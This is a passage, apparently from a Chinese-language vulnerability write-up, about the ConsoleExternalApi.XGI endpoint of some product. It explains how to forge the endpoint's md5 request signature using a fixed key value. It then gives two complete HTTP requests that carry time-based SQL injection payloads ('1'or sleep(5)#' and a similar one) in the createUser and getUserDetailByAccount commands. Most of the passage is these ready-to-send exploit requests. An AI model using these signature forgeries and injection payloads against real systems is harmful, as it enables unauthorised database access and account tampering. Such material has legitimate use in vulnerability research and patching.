方法获取到参数    通过接下来的这段代码,我们可以得到如下结论,当 $key 的值为 inner 时,$keyVal 是一个固定值,$sign 的值是 md5($initparams . $keyVal); $initparams 中需要包含 __ 来分割数据,得到每个参数    然后再通过 _ 分割 得到每个参数所对应的值 也就是当传入的值是 a_1__b_2 最后得到的也就是 a=1&b=2   继续向下分析    当传入的 cmd 的值是 createUser 时,进入相对应的分支,构造相对应的语句就可以实现注入。 POST /ConsoleExternalApi.XGI?initParams=command_createUser__user_admin__pwd_1&key=inner&sign=bd58378906794858b1f57eb272e5d84f HTTP/1.1 Host: 192.168.222.148 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 46 Content-Type: application/json {"account":"1'or sleep(5)#", "userPwd":"1"}      ‍ 注入五 ConsoleExternalApi.XGIgetUserDetailByAccount POST /ConsoleExternalApi.XGI HTTP/1.1 Host: 192.168.222.148 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 132 initParams=command_getUserDetailByAccount__user_admin__account_1' or sleep(5) and '1&key=inner&sign=e24b8206a168347821a2f10aede99058